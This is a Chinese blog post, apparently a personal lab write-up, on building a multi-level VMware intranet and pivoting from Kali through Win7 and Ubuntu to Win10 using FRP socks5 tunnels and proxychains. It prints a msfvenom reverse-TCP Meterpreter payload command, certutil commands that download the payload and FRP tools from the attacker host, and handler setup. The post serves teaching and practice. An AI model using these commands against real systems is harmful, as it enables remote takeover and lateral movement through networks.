FRP多级内网穿透实验(虚拟机多级网络环境搭建+FRP工具使用)

0x00 实验背景

最近在工作中遇到了一个指定必须使用FRP作为内网穿透工具的活动,由于以前没有深入分析过多层内网的实验环境,对多级级联转发还不是很熟悉,在这里简单记录一下环境搭建与实验内容。

0x01 环境搭建

环境搭建以VM为为虚拟平台,使用kali为攻击机,分别对win7、Ubuntu、Win10进行层层穿透,各设备之间拓扑如图所示:
环境拓扑

在整个环境构建中,我们设置IP资源如下表

序号环境操作系统IP地址
1攻击机kali192.168.40.133
2靶机1Win7192.168.40.131
192.168.73.87
3靶机2Ubuntu192.168.73.6
192.168.253.128
4靶机3Win10192.168.253.129
  • 在以上环境中,攻击机kali可以直接访问靶机1,但不能访问其余网段的靶机,kali代表我们公网中的客户机;
  • 靶机1可以与攻击机、靶机2互相访问,可以看作是暴露在公网的服务,通过靶机1的双网卡可以与靶机2建立联系,靶机2所在的73网段可以看作第一层内网;
  • 通过靶机2的双网卡与靶机3互相访问,靶机3所在的253网段可以看作第二层内网。

最终要实现:通过靶机2、靶机1的流量代理转发,使我们在攻击机上就可以直接访问靶机3的web服务,对253网段进行扫描探测。

0x02 虚拟机网络配置

在搭建这样一个多级内网的环境时,用到了虚拟机的虚拟网络适配器选项,首先看看所有的虚拟网络适配器。在虚拟机中选择 编辑—虚拟网络编辑器 ,弹出当前虚拟网络适配器列表。
在这里插入图片描述

虚拟机的网络设置共有3中模式,分别为桥接模式、NAT模式和仅主机模式,在今天的环境搭建中,重点使用仅主机模式,首先简要介绍一下3中模式的不同与适用场景。

1.桥接模式

桥接模式直接连接物理网络,使用此模式的虚拟机与物理机在同一个网段上,在桥接模式下,虚拟机网络适配器与物理网络适配器通过虚拟网桥连接起来,这样虚拟机可以直接与物理网络中的同一网段下的其他设备进行通信。在这种模式下,虚拟机直接连接到宿主机所在的物理网络,它会从网络中获取自己的IP地址,就像是网络中的一台独立的计算机。这种模式下虚拟机的地址与物理机网段相同。

在环境搭建中一开始踩了个小坑,把kali和win7使用桥接模式部署了,虽然也属于另一个网段(连接wifi的物理段随机),但由于两个虚拟网卡均与物理机搭建网桥 ,物理机实际上可能充当网关角色,因此配置成功后我发现kali和win7居然和所有网段都是通的(40段,73段,253段)。。。。欢迎各位大佬讨论😊

2.NAT模式

在这种模式下,虚拟机和主机共享一个对外的IP地址,虚拟机不能直接接触到外部网络,所有的网络连接请求都由主机进行转发。虚拟网卡只是作为主机与虚拟机通信的接口。在这里NAT模式的网段为192.168.50.0

3.仅主机模式

仅主机模式的虚拟网卡仅对主机可见,并在虚拟机和主机系统之间提供网络连接。在一般情况下,使用仅主机模式网络连接的虚拟机无法连接到Internet。可以把仅主机模式看成一个内部网络,只有加入的成员可以相互通信,私密性强,只有同一个仅主机模式下的虚拟机可以互相访问

这里仅主机模式1的网段为192.168.253.0仅主机模式2的网段为192.168.73.0仅主机模式3的网段为192.168.40.0,kali与靶机1加入40段,靶机1与靶机2加入73段,靶机2与靶机3加入253段,构成了层层内网,且由于仅主机模式的设置,其他网段均不能互相访问。

ps:双网卡主机只需要在虚拟机设置中添加一个网络适配器即可。

可以看到,实际上在后续的拓展中,我们通过增加仅主机模式的虚拟网卡,就可以实现增加一层内网结构,不过在实验中,两层的穿透级联足以说明原理,后续不再进行实验。

0x03 利用FRP实现多级内网穿透

1.什么是FRP?

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

  • FRP官网
  • Github
  • 文档介绍

2.工作原理

frp 主要由两个组件组成:客户端(frpc) 和 服务端(frps)。通常情况下,服务端部署在具有公网 IP 地址的机器上,而客户端部署在需要穿透的内网服务所在的机器上。
由于内网服务缺乏公网 IP 地址,因此无法直接被非局域网内的用户访问。用户通过访问服务端的 frps,frp 负责根据请求的端口或其他信息将请求路由到相应的内网机器,从而实现通信。

因此,使用FRP重点就是理解frps和frpc的运行原理和配置方式。

3. 第一层穿透实验

(目标:kali通过win7代理流量,访问ubuntu的http服务)

为了实验简单易行,我们直接使用msfvenom工具生成木马进行攻击,通过msf建立连接,并实验msf交互命令,简单又直接。

🌈生成远控马,并下载至win7

使用msfvenom生成远控木马,并通过http服务发送至win7主机,这里简化了渗透的步骤,直接讨论获取权限后的操作。

kali中执行命令,生成一个名为shell.exe的木马文件。

┌──(kali@kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.133 LPORT=4444 -f exe -o /home/kali/Desktop/shell.exe
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /home/kali/Desktop/shell.exe

开启kali的http服务,从win7中下载他。(这里其实不具备这样的条件,但是实验环境我们以搭建通路为主,主要演示后续内容。。。)

python3  -m http.server 8080

访问kali服务
没有图形界面时使用win7powershellcertutil工具下载。

certutil.exe -urlcache -split -f http://192.168.40.133:8080/shell.exe

在这里插入图片描述

🚀运行木马, 并使用msf接收对话

在kali中执行命令,使用msf的监控模块,并设置payload和监听端口。

$ msfconsole //启动控制台
use exploit/multi/handler //使用监控模块
set payload windows/meterpreter/reverse_tcp //设置payload为我们木马的类型
payload => windows/meterpreter/reverse_tcp
set lhost 192.168.40.133 //设置监听IP为本机
run //启动监听

在这里插入图片描述
win7中启动木马连接,获得1个meterpreter窗口。
反弹得到的连接
使用shell切换终端命令行,exit可以切换回meterpreter

📣配置FRP,并下载到win7运行

由于最新版从0.52版本开始没有windows_386的选项,本次环境搭建的是32位,因此选择了0.51.3版本,配置文件仍然是ini,且老版本更加稳定些。新版本的frp配置文件为.toml,与之前版本的ini文件有一定的区别,但原理是一致的,我们从这里开始进入正文。

1.首先要理解frp中客户端、服务端分别代表的含义。

frps:FRP的服务器端组件,负责在公网服务器上运行,接受来自 frpc 客户端的连接请求,并将这些请求转发给内部的服务。frps 负责管理连接、认证、路由等功能,是内网服务向外网提供访问的关键组件。

frpc:FRP的客户端组件,运行在内网的服务器或设备上,负责与 frps 建立连接,并通过 frps 提供的通道将内部服务暴露到外部网络。frpc 会将外部请求转发给内部服务,实现内网穿透的功能。

根据介绍,在当前场景中,win7(192.168.40.131、192.168.73.87)是可以访问到内网的跳板机,而我们kali需要通过win7转发自己的流量,相应的,内网的ubuntu(192.168.73.6)也通过win7转发自己的服务。那么在这里第一层win7就是frpc,kali则是frps,kali所有的流量都将通过frpc的端口转发。

2.开始配置frpc.ini和frps.ini。

我们配置的目的是使kali通过win7的转发,直接访问内网所有操作,而不是简单把某个内网的服务转发出来,因此配置socks5代理,使win7转发所有经过他的流量。

//frps.ini
[common]
bind_port = 7000  //客户端、服务端用于连接的端口
//frpc.ini
[common]
server_addr = 192.168.40.133 //服务端IP,这里就是kali
server_port = 7000       //与服务端建立连接的端口,要和服务端的一致
[plugin_socks5]            //代理隧道的名称,这个随便定义
type = tcp              //通行类型,默认tcp就行
remote_port = 6005   //通信端口,注意通信端口和连接端口一个作用于客户端与服务端的连接,一个作用于流量转发
plugin = socks5         //代理类型使用socks5
3.通过前期得到的shell将frpc相关文件下载到win7中。
certutil -urlcache -split -f http://192.168.40.133:8000/frpc.exe
certutil -urlcache -split -f http://192.168.40.133:8000/frpc.ini

在这里插入图片描述

4.分别运行frps和frpc。

可以看到,此时kali的服务端已经接收到了win7的连接。下面开始使用代理穿透。

在这里插入图片描述

5.proxychains全局代理配置
sudo vim /etc/proxychains4.conf //在kali中配置,添加服务端的ip和端口

为了测试是否能直接访问ubuntu所提供的服务,我们在ubuntu上开启一个http服务。
在这里插入图片描述
直接访问无法成功。
在这里插入图片描述

增加proxychains后。
在这里插入图片描述

proxychains firefox http://192.168.73.6:8000 //使用proxychains启动firefox

在这里插入图片描述
在这里插入图片描述

此时可以成功访问,且ubuntu中记录的访问地址为win7的地址,第一层代理已经搭建完毕。可以通过win7直接访问ubuntu的服务。

4. 第二层穿透实验

目标:kali通过win7、ubuntu两层代理流量,访问win10的http服务)

为了实验简单易行,我们假设在第一层转发的条件下获取了ubuntu的控制权限,漏洞内容为ssh弱口令。

🌈通过win7代理使用ssh登录到ubuntu

在这里插入图片描述
可以看到,当前的ip设置情况。
在这里插入图片描述

📣配置FRP,并下载到ubuntu运行

1.第二层代理ubuntu是客户端、win7为服务端。

在当前场景中,ubuntu(192.168.40.131、192.168.73.87)是可以访问到内网(192.168.253.0)的跳板机,而我们kali需要通过win7、ubuntu两层转发自己的流量,相应的,内网的win10(192.168.253.129)也通过ubuntu转发自己的服务。那么在这里第二层ubuntu就是frpc,win7则是frps,win7所有的流量都将通过frpc的端口转发。

2.开始配置frpc.ini和frps.ini。
//frps.ini
[common]
bind_addr = 192.168.73.87 //双网卡主机明确绑定哪个ip
bind_port = 7000  //客户端、服务端用于连接的端口
//frpc.ini
[common]
server_addr = 192.168.73.87 //服务端IP,这里就是win7
server_port = 7000       //与服务端建立连接的端口,要和服务端的一致
[test]                //代理隧道的名称,这个随便定义
type = tcp              //通行类型,默认tcp就行
remote_port = 6005    //通信端口,注意通信端口和连接端口一个作用于客户端与服务端的连接,一个作用于流量转发
plugin = socks5         //代理类型使用socks5
3.使用scp上传frpc到ubuntu。

在这里插入图片描述

4.使用certutil或meterpreter上传frps到win7。

在这里插入图片描述
在这里插入图片描述

分别运行服务端与客户端。
在这里插入图片描述

5.proxychains全局代理配置
sudo vim /etc/proxychains4.conf //在kali中配置,添加win7服务端的ip和端口

在这里插入图片描述
同时在win10中启动一个nc监听

在这里插入图片描述
在kali中通过proxychains访问。
在这里插入图片描述
可以看到连接成功,并且路径为:
[proxychains] Strict chain … 127.0.0.1:6005 … 192.168.73.87:6005 … 192.168.253.129:9999 … OK

0x04 参考文章

1.frp内网穿透(socks5隧道)
2.后渗透之meterpreter使用攻略
3.杂记 | 使用FRP搭建内网穿透服务(新版toml配置文件,搭配反向代理食用)

感谢各位大佬的总结。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/697976.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Microsoft Office for Mac 2024 (Office 365) 16.84 Universal 预览版

Microsoft Office for Mac 2024 (Office 365) 16.84 Universal 预览版 Office LTSC 2024 for Mac 请访问原文链接:Microsoft Office for Mac 2024 (Office 365) 16.84 Universal 预览版,查看最新版。原创作品,转载请保留出处。 作者主页&a…

Spring Boot | Spring Boot 整合“ 邮件任务“ 实现

目录: Spring Boot 整合" 邮件任务" 实现 :一、发送 "纯文本邮件" :(1) 添加 "邮件服务" 依赖启动器(2) 添加 "邮件服务" 配置信息(3) 定制 "邮件发送服务"(4) "纯文本" 邮件发送 测试效果 二、发送 带 "附件…

Python实现WebSocket通讯与心跳控制详解

为了使用Python实现WebSocket通讯和心跳控制,我们通常需要一个WebSocket客户端库和一个服务器端库。这里,我们将使用websockets库作为服务器和客户端的示例。 安装必要的库 首先,你需要安装websockets库。可以使用pip进行安装: p…

Modbus TCP转CAN网关在不同行业中的应用以及其使用上的优势

倍讯科技Modbus TCP转CAN网关通常被用于工业自动化领域,特别是在需要连接现有Modbus TCP网络和CAN总线设备的场景中。以下是该网关在不同行业中的应用以及其使用上的优势: 1. 制造业: - 在制造业中,各种类型的设备和机器通常使用不…

PXE+Kickstart无人值守安装安装Centos7.9

文章目录 一、什么是PXE1、简介2、工作模式3、工作流程 二、什么是Kickstart1、简介2、触发方式 三、无人值守安装系统工作流程四、实验部署1、环境准备2、服务端:关闭防火墙和selinux3、添加一张仅主机的网卡4、配置仅主机的网卡4.1、修改网络连接名4.2、配IP地址4…

整合springboot-mybatis时,MySQL数据库无法连接问题

整合springboot-mybatis时,MySQL数据库无法连接问题 解决步骤 先手动停止MySQL服务,在cmd后的控制台输入services.msc 找到MySql停止服务 修改配置文件,跳过验证 修改MySQL安装目录下的my.ini配置文件,使登录时跳过权限检查&a…

业绩超预期外,海尔智家ESG实践再获认可

求增长,已成各行业面对的共同命题。 在家电赛道上,海尔智家的业绩表现不俗。2024一季度,海尔智家延续了年报稳健增长的趋势,继续在高基数下实现高增长,其利润增幅更是高达20.2%,超预期。而今年…

【Web】CTFSHOW 月饼杯 题解(全)

目录 web1_此夜圆 web2_故人心 web3_莫负婵娟 web1_此夜圆 拿到源码&#xff0c;一眼字符串逃逸 本地测一测&#xff0c;成功弹出计算器 <?phpclass a {public $uname;public $password;public function __wakeup(){system(calc);} }function filter($string){retur…

Linux软件RAID:数据冗余与性能提升的完美融合

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《Linux &#xff1a;从菜鸟到飞鸟的逆袭》&#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、前言 1、软件RAID的概念 2、软件RAID与硬件RAID的对比…

记录一下 log4j的漏洞

目录 背景 bug的产生 bug复现 JNDI 网络安全学习路线 &#xff08;2024最新整理&#xff09; 学习资料的推荐 1.视频教程 2.SRC技术文档&PDF书籍 3.大厂面试题 特别声明&#xff1a; 背景 log4j这次的bug&#xff0c;我相信大家都已经知道了&#xff0c;仅以…

密探渗透工具v1.08测试版

目录 前言 免责声明 工具开发者: 工具项目地址: 1.作者做工具的缘起 2.功能介绍 3.工具的更新日志 4.安装与使用 4.1 工具下载 4.2 在jdk8环境下运行: 4.3 运行界面 4.4 资产测绘功能(fofa,鹰图和Quake) 4.5 指纹识别功能 ​编辑 4.6 敏感信息与接口扫描 4.7 文…

15W 3KVAC隔离 宽电压输入 AC/DC 电源模块——TP15AL系列

TP15AL系列产品是一款小体积裸板式电源,该系列电源输出功率为15W,具有低漏电流小于0.35mA,隔离耐压高达3KV等特点。产品安全可靠&#xff0c;EMC性能好&#xff0c;该系列产品广泛应用于智能家居、充电桩、安防、物联、工控等行业中&#xff0c;如应用于电磁兼容比较恶劣的环境…